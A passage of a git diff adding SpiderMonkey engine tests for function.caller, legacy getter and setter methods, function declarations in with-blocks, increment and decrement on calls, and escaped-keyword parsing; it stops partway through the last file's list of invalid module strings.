index 0000000000..77eb99108a
--- /dev/null
+++ b/js/src/tests/non262/extensions/function-caller-skips-eval-frames.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function innermost() { return arguments.callee.caller; }
+function nest() { return eval("innermost();"); }
+function nest2() { return nest(); }
+
+assertEq(nest2(), nest);
+
+var innermost = function innermost() { return arguments.callee.caller.caller; };
+
+assertEq(nest2(), nest2);
+
+function nestTwice() { return eval("eval('innermost();');"); }
+var nest = nestTwice;
+
+assertEq(nest2(), nest2);
+
+function innermostEval() { return eval("arguments.callee.caller"); }
+var innermost = innermostEval;
+
+assertEq(nest2(), nestTwice);
+
+function innermostEvalTwice() { return eval('eval("arguments.callee.caller");'); }
+var innermost = innermostEvalTwice;
+
+assertEq(nest2(), nestTwice);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/function-caller-strict-cross-global.js b/js/src/tests/non262/extensions/function-caller-strict-cross-global.js
new file mode 100644
index 0000000000..d76bcccda5
--- /dev/null
+++ b/js/src/tests/non262/extensions/function-caller-strict-cross-global.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs newGlobal()
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var g1 = newGlobal();
+g1.evaluate("function f() { return f.caller; }");
+
+var g2 = newGlobal();
+g2.f = g1.f;
+
+assertEq(g2.evaluate("function g() { 'use strict'; return f(); } g()"), null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/function-definition-with.js b/js/src/tests/non262/extensions/function-definition-with.js
new file mode 100644
index 0000000000..2277ad45fc
--- /dev/null
+++ b/js/src/tests/non262/extensions/function-definition-with.js
@@ -0,0 +1,56 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 577325;
+var summary = 'Implement the ES5 algorithm for processing function statements';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var called, obj;
+
+function inFile1() { return "in file"; }
+called = false;
+obj = { set inFile1(v) { called = true; } };
+with (obj) {
+ function inFile1() { return "in file in with"; };
+}
+assertEq(inFile1(), "in file in with");
+assertEq("set" in Object.getOwnPropertyDescriptor(obj, "inFile1"), true);
+assertEq(called, false);
+
+evaluate("function notInFile1() { return 'not in file'; }");
+called = false;
+obj = { set notInFile1(v) { called = true; return "not in file 2"; } };
+with (obj) {
+ function notInFile1() { return "not in file in with"; };
+}
+assertEq(notInFile1(), "not in file in with");
+assertEq("set" in Object.getOwnPropertyDescriptor(obj, "notInFile1"), true);
+assertEq(called, false);
+
+function inFile2() { return "in file 1"; }
+called = false;
+obj =
+ Object.defineProperty({}, "inFile2",
+ { value: 42, configurable: false, enumerable: false });
+with (obj) {
+ function inFile2() { return "in file 2"; };
+}
+assertEq(inFile2(), "in file 2");
+assertEq(obj.inFile2, 42);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/function-properties.js b/js/src/tests/non262/extensions/function-properties.js
new file mode 100644
index 0000000000..9585322ef0
--- /dev/null
+++ b/js/src/tests/non262/extensions/function-properties.js
@@ -0,0 +1,21 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function foo()
+{
+ assertEq(foo.arguments.length, 0);
+ assertEq(foo.caller, null);
+}
+
+assertEq(foo.arguments, null);
+assertEq(foo.caller, null);
+foo();
+assertEq(foo.arguments, null);
+assertEq(foo.caller, null);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/getOwnPropertyNames-__proto__.js b/js/src/tests/non262/extensions/getOwnPropertyNames-__proto__.js
new file mode 100644
index 0000000000..91ee2d2033
--- /dev/null
+++ b/js/src/tests/non262/extensions/getOwnPropertyNames-__proto__.js
@@ -0,0 +1,26 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 837630;
+var summary ='__proto__ should show up with O.getOwnPropertyNames(O.prototype)';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var keys = Object.getOwnPropertyNames(Object.prototype);
+assertEq(keys.indexOf("__proto__") >= 0, true,
+ "should have gotten __proto__ as a property of Object.prototype " +
+ "(got these properties: " + keys + ")");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/getset-001.js b/js/src/tests/non262/extensions/getset-001.js
new file mode 100644
index 0000000000..928bfd0f03
--- /dev/null
+++ b/js/src/tests/non262/extensions/getset-001.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+function TestObject ()
+{
+ /* A warm, dry place for properties and methods to live */
+}
+
+TestObject.prototype._y = "<initial y>";
+
+Object.defineProperty(TestObject.prototype, "y",
+{
+ enumerable: true, configurable: true,
+ get: function get_y ()
+ {
+ var rv;
+ if (typeof this._y == "string")
+ rv = "got " + this._y;
+ else
+ rv = this._y;
+ return rv;
+ },
+ set: function set_y (newVal) { this._y = newVal; }
+});
+
+
+test(new TestObject());
+
+function test(t)
+{
+ printStatus ("Basic Getter/ Setter test");
+ reportCompare ("<initial y>", t._y, "y prototype check");
+
+ reportCompare ("got <initial y>", t.y, "y getter, before set");
+
+ t.y = "new y";
+ reportCompare ("got new y", t.y, "y getter, after set");
+
+ t.y = 2;
+ reportCompare (2, t.y, "y getter, after numeric set");
+
+ var d = new Date();
+ t.y = d;
+ reportCompare (d, t.y, "y getter, after date set");
+
+}
diff --git a/js/src/tests/non262/extensions/getset-003.js b/js/src/tests/non262/extensions/getset-003.js
new file mode 100644
index 0000000000..55c9c99785
--- /dev/null
+++ b/js/src/tests/non262/extensions/getset-003.js
@@ -0,0 +1,186 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 April 2001
+ *
+ * SUMMARY: Testing obj.prop getter/setter
+ * Note: this is a non-ECMA extension to the language.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing obj.prop getter/setter';
+var statprefix = 'Status: ';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var cnDEFAULT = 'default name';
+var cnFRED = 'Fred';
+var obj = {};
+var obj2 = {};
+var s = '';
+
+
+// SECTION1: define getter/setter directly on an object (not its prototype)
+obj = new Object();
+obj.nameSETS = 0;
+obj.nameGETS = 0;
+Object.defineProperty(obj, "name",
+{
+ enumerable: true, configurable: true,
+ set: function(newValue) {this._name=newValue; this.nameSETS++;},
+ get: function() {this.nameGETS++; return this._name;}
+});
+
+ status = 'In SECTION1 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION1 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION1 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION1 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION2: define getter/setter in Object.prototype
+Object.prototype.nameSETS = 0;
+Object.prototype.nameGETS = 0;
+Object.defineProperty(Object.prototype, "name",
+{
+ enumerable: true, configurable: true,
+ set: function(newValue) {this._name=newValue; this.nameSETS++;},
+ get: function() {this.nameGETS++; return this._name;}
+});
+
+ obj = new Object();
+status = 'In SECTION2 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION2 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION2 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION2 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION 3: define getter/setter in prototype of user-defined constructor
+function TestObject()
+{
+}
+TestObject.prototype.nameSETS = 0;
+TestObject.prototype.nameGETS = 0;
+Object.defineProperty(TestObject.prototype, "name",
+{
+ enumerable: true, configurable: true,
+ set: function(newValue) {this._name=newValue; this.nameSETS++;},
+ get: function() {this.nameGETS++; return this._name;}
+});
+ TestObject.prototype.name = cnDEFAULT;
+
+obj = new TestObject();
+status = 'In SECTION3 of test after 1 set, 0 gets'; // (we set a default value in the prototype)
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION3 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION3 of test after 2 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION3 of test after 3 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,2];
+addThis();
+
+obj2 = new TestObject();
+status = 'obj2 = new TestObject() after 1 set, 0 gets';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [1,0]; // we set a default value in the prototype -
+addThis();
+
+// Use both obj and obj2 -
+obj2.name = obj.name + obj2.name;
+status = 'obj2 = new TestObject() after 2 sets, 1 get';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [2,1];
+addThis();
+
+status = 'In SECTION3 of test after 3 sets, 3 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,3]; // we left off at [3,2] above -
+addThis();
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual.toString();
+ expectedvalues[UBound] = expect.toString();
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusitems[i];
+}
diff --git a/js/src/tests/non262/extensions/getset-004.js b/js/src/tests/non262/extensions/getset-004.js
new file mode 100644
index 0000000000..e76b9263f0
--- /dev/null
+++ b/js/src/tests/non262/extensions/getset-004.js
@@ -0,0 +1,174 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 April 2001
+ *
+ * SUMMARY: Testing obj.__defineSetter__(), obj.__defineGetter__()
+ * Note: this is a non-ECMA language extension
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing obj.__defineSetter__(), obj.__defineGetter__()';
+var statprefix = 'Status: ';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var cnDEFAULT = 'default name';
+var cnFRED = 'Fred';
+var obj = {};
+var obj2 = {};
+var s = '';
+
+
+// SECTION1: define getter/setter directly on an object (not its prototype)
+obj = new Object();
+obj.nameSETS = 0;
+obj.nameGETS = 0;
+obj.__defineSetter__('name', function(newValue) {this._name=newValue; this.nameSETS++;});
+obj.__defineGetter__('name', function() {this.nameGETS++; return this._name;});
+
+status = 'In SECTION1 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION1 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION1 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION1 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION2: define getter/setter in Object.prototype
+Object.prototype.nameSETS = 0;
+Object.prototype.nameGETS = 0;
+Object.prototype.__defineSetter__('name', function(newValue) {this._name=newValue; this.nameSETS++;});
+Object.prototype.__defineGetter__('name', function() {this.nameGETS++; return this._name;});
+
+obj = new Object();
+status = 'In SECTION2 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION2 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION2 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION2 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION 3: define getter/setter in prototype of user-defined constructor
+function TestObject()
+{
+}
+TestObject.prototype.nameSETS = 0;
+TestObject.prototype.nameGETS = 0;
+TestObject.prototype.__defineSetter__('name', function(newValue) {this._name=newValue; this.nameSETS++;});
+TestObject.prototype.__defineGetter__('name', function() {this.nameGETS++; return this._name;});
+TestObject.prototype.name = cnDEFAULT;
+
+obj = new TestObject();
+status = 'In SECTION3 of test after 1 set, 0 gets'; // (we set a default value in the prototype)
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION3 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION3 of test after 2 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION3 of test after 3 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,2];
+addThis();
+
+obj2 = new TestObject();
+status = 'obj2 = new TestObject() after 1 set, 0 gets';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [1,0]; // we set a default value in the prototype -
+addThis();
+
+// Use both obj and obj2 -
+obj2.name = obj.name + obj2.name;
+status = 'obj2 = new TestObject() after 2 sets, 1 get';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [2,1];
+addThis();
+
+status = 'In SECTION3 of test after 3 sets, 3 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,3]; // we left off at [3,2] above -
+addThis();
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual.toString();
+ expectedvalues[UBound] = expect.toString();
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusitems[i];
+}
diff --git a/js/src/tests/non262/extensions/getset-005.js b/js/src/tests/non262/extensions/getset-005.js
new file mode 100644
index 0000000000..a0694a892f
--- /dev/null
+++ b/js/src/tests/non262/extensions/getset-005.js
@@ -0,0 +1,183 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 April 2001
+ *
+ * SUMMARY: Testing obj.__defineSetter__(), obj.__defineGetter__()
+ * Note: this is a non-ECMA language extension
+ *
+ * This test is the same as getset-004.js, except that here we
+ * store the getter/setter functions in global variables.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing obj.__defineSetter__(), obj.__defineGetter__()';
+var statprefix = 'Status: ';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var cnName = 'name';
+var cnDEFAULT = 'default name';
+var cnFRED = 'Fred';
+var obj = {};
+var obj2 = {};
+var s = '';
+
+
+// The getter/setter functions we'll use in all three sections below -
+var cnNameSetter = function(newValue) {this._name=newValue; this.nameSETS++;};
+var cnNameGetter = function() {this.nameGETS++; return this._name;};
+
+
+// SECTION1: define getter/setter directly on an object (not its prototype)
+obj = new Object();
+obj.nameSETS = 0;
+obj.nameGETS = 0;
+obj.__defineSetter__(cnName, cnNameSetter);
+obj.__defineGetter__(cnName, cnNameGetter);
+
+status = 'In SECTION1 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION1 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION1 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION1 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION2: define getter/setter in Object.prototype
+Object.prototype.nameSETS = 0;
+Object.prototype.nameGETS = 0;
+Object.prototype.__defineSetter__(cnName, cnNameSetter);
+Object.prototype.__defineGetter__(cnName, cnNameGetter);
+
+obj = new Object();
+status = 'In SECTION2 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION2 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION2 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION2 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION 3: define getter/setter in prototype of user-defined constructor
+function TestObject()
+{
+}
+TestObject.prototype.nameSETS = 0;
+TestObject.prototype.nameGETS = 0;
+TestObject.prototype.__defineSetter__(cnName, cnNameSetter);
+TestObject.prototype.__defineGetter__(cnName, cnNameGetter);
+TestObject.prototype.name = cnDEFAULT;
+
+obj = new TestObject();
+status = 'In SECTION3 of test after 1 set, 0 gets'; // (we set a default value in the prototype)
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION3 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION3 of test after 2 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION3 of test after 3 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,2];
+addThis();
+
+obj2 = new TestObject();
+status = 'obj2 = new TestObject() after 1 set, 0 gets';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [1,0]; // we set a default value in the prototype -
+addThis();
+
+// Use both obj and obj2 -
+obj2.name = obj.name + obj2.name;
+status = 'obj2 = new TestObject() after 2 sets, 1 get';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [2,1];
+addThis();
+
+status = 'In SECTION3 of test after 3 sets, 3 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,3]; // we left off at [3,2] above -
+addThis();
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual.toString();
+ expectedvalues[UBound] = expect.toString();
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusitems[i];
+}
diff --git a/js/src/tests/non262/extensions/getset-006.js b/js/src/tests/non262/extensions/getset-006.js
new file mode 100644
index 0000000000..e7fe8c4212
--- /dev/null
+++ b/js/src/tests/non262/extensions/getset-006.js
@@ -0,0 +1,157 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 April 2001
+ *
+ * SUMMARY: Testing obj.__lookupGetter__(), obj.__lookupSetter__()
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=71992
+ *
+ * Brendan: "I see no need to provide more than the minimum:
+ * o.__lookupGetter__('p') returns the getter function for o.p,
+ * or undefined if o.p has no getter. Users can wrap and layer."
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 71992;
+var summary = 'Testing obj.__lookupGetter__(), obj.__lookupSetter__()';
+var statprefix = 'Status: ';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var cnName = 'name';
+var cnColor = 'color';
+var cnNonExistingProp = 'ASDF_#_$%';
+var cnDEFAULT = 'default name';
+var cnFRED = 'Fred';
+var cnRED = 'red';
+var obj = {};
+var obj2 = {};
+var s;
+
+
+// The only setter and getter functions we'll use in the three sections below -
+var cnNameSetter = function(newValue) {this._name=newValue; this.nameSETS++;};
+var cnNameGetter = function() {this.nameGETS++; return this._name;};
+
+
+
+// SECTION1: define getter/setter directly on an object (not its prototype)
+obj = new Object();
+obj.nameSETS = 0;
+obj.nameGETS = 0;
+obj.__defineSetter__(cnName, cnNameSetter);
+obj.__defineGetter__(cnName, cnNameGetter);
+obj.name = cnFRED;
+obj.color = cnRED;
+
+status ='In SECTION1 of test; looking up extant getter/setter';
+actual = [obj.__lookupSetter__(cnName), obj.__lookupGetter__(cnName)];
+expect = [cnNameSetter, cnNameGetter];
+addThis();
+
+status = 'In SECTION1 of test; looking up nonexistent getter/setter';
+actual = [obj.__lookupSetter__(cnColor), obj.__lookupGetter__(cnColor)];
+expect = [undefined, undefined];
+addThis();
+
+status = 'In SECTION1 of test; looking up getter/setter on nonexistent property';
+actual = [obj.__lookupSetter__(cnNonExistingProp), obj.__lookupGetter__(cnNonExistingProp)];
+expect = [undefined, undefined];
+addThis();
+
+
+
+// SECTION2: define getter/setter in Object.prototype
+Object.prototype.nameSETS = 0;
+Object.prototype.nameGETS = 0;
+Object.prototype.__defineSetter__(cnName, cnNameSetter);
+Object.prototype.__defineGetter__(cnName, cnNameGetter);
+
+obj = new Object();
+obj.name = cnFRED;
+obj.color = cnRED;
+
+status = 'In SECTION2 of test looking up extant getter/setter';
+actual = [obj.__lookupSetter__(cnName), obj.__lookupGetter__(cnName)];
+expect = [cnNameSetter, cnNameGetter];
+addThis();
+
+status = 'In SECTION2 of test; looking up nonexistent getter/setter';
+actual = [obj.__lookupSetter__(cnColor), obj.__lookupGetter__(cnColor)];
+expect = [undefined, undefined];
+addThis();
+
+status = 'In SECTION2 of test; looking up getter/setter on nonexistent property';
+actual = [obj.__lookupSetter__(cnNonExistingProp), obj.__lookupGetter__(cnNonExistingProp)];
+expect = [undefined, undefined];
+addThis();
+
+
+
+// SECTION 3: define getter/setter in prototype of user-defined constructor
+function TestObject()
+{
+}
+TestObject.prototype.nameSETS = 0;
+TestObject.prototype.nameGETS = 0;
+TestObject.prototype.__defineSetter__(cnName, cnNameSetter);
+TestObject.prototype.__defineGetter__(cnName, cnNameGetter);
+TestObject.prototype.name = cnDEFAULT;
+
+obj = new TestObject();
+obj.name = cnFRED;
+obj.color = cnRED;
+
+status = 'In SECTION3 of test looking up extant getter/setter';
+actual = [obj.__lookupSetter__(cnName), obj.__lookupGetter__(cnName)];
+expect = [cnNameSetter, cnNameGetter];
+addThis();
+
+status = 'In SECTION3 of test; looking up nonexistent getter/setter';
+actual = [obj.__lookupSetter__(cnColor), obj.__lookupGetter__(cnColor)];
+expect = [undefined, undefined];
+addThis();
+
+status = 'In SECTION3 of test; looking up getter/setter on nonexistent property';
+actual = [obj.__lookupSetter__(cnNonExistingProp), obj.__lookupGetter__(cnNonExistingProp)];
+expect = [undefined, undefined];
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual.toString();
+ expectedvalues[UBound] = expect.toString();
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusitems[i];
+}
diff --git a/js/src/tests/non262/extensions/inc-dec-functioncall.js b/js/src/tests/non262/extensions/inc-dec-functioncall.js
new file mode 100644
index 0000000000..b4de03c6c0
--- /dev/null
+++ b/js/src/tests/non262/extensions/inc-dec-functioncall.js
@@ -0,0 +1,90 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 609756;
+var summary =
+ "Perform ToNumber on the result of the |fun()| in |fun()++| before " +
+ "throwing";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var hadSideEffect;
+
+function f()
+{
+ return { valueOf: function() { hadSideEffect = true; return 0; } };
+}
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() { f()++; }, ReferenceError);
+assertEq(hadSideEffect, true);
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() {
+ for (var i = 0; i < 20; i++)
+ {
+ if (i > 18)
+ f()++;
+ }
+}, ReferenceError);
+assertEq(hadSideEffect, true);
+
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() { f()--; }, ReferenceError);
+assertEq(hadSideEffect, true);
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() {
+ for (var i = 0; i < 20; i++)
+ {
+ if (i > 18)
+ f()--;
+ }
+}, ReferenceError);
+assertEq(hadSideEffect, true);
+
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() { ++f(); }, ReferenceError);
+assertEq(hadSideEffect, true);
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() {
+ for (var i = 0; i < 20; i++)
+ {
+ if (i > 18)
+ ++f();
+ }
+}, ReferenceError);
+assertEq(hadSideEffect, true);
+
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() { --f(); }, ReferenceError);
+assertEq(hadSideEffect, true);
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() {
+ for (var i = 0; i < 20; i++)
+ {
+ if (i > 18)
+ --f();
+ }
+}, ReferenceError);
+assertEq(hadSideEffect, true);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/keyword-unescaped-requirement-modules.js b/js/src/tests/non262/extensions/keyword-unescaped-requirement-modules.js
new file mode 100644
index 0000000000..260948cfed
--- /dev/null
+++ b/js/src/tests/non262/extensions/keyword-unescaped-requirement-modules.js
@@ -0,0 +1,99 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1204027;
+var summary =
+ "Escape sequences aren't allowed in bolded grammar tokens (that is, in " +
+ "keywords, possibly contextual keywords)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var badModules =
+ [
+ "\\u0069mport f from 'g'",
+ "i\\u006dport g from 'h'",
+ "import * \\u0061s foo",
+ "import {} fro\\u006d 'bar'",
+ "import { x \\u0061s y } from 'baz'",
+
+ "\\u0065xport function f() {}",
+ "e\\u0078port function g() {}",
+ "export * fro\\u006d 'fnord'",
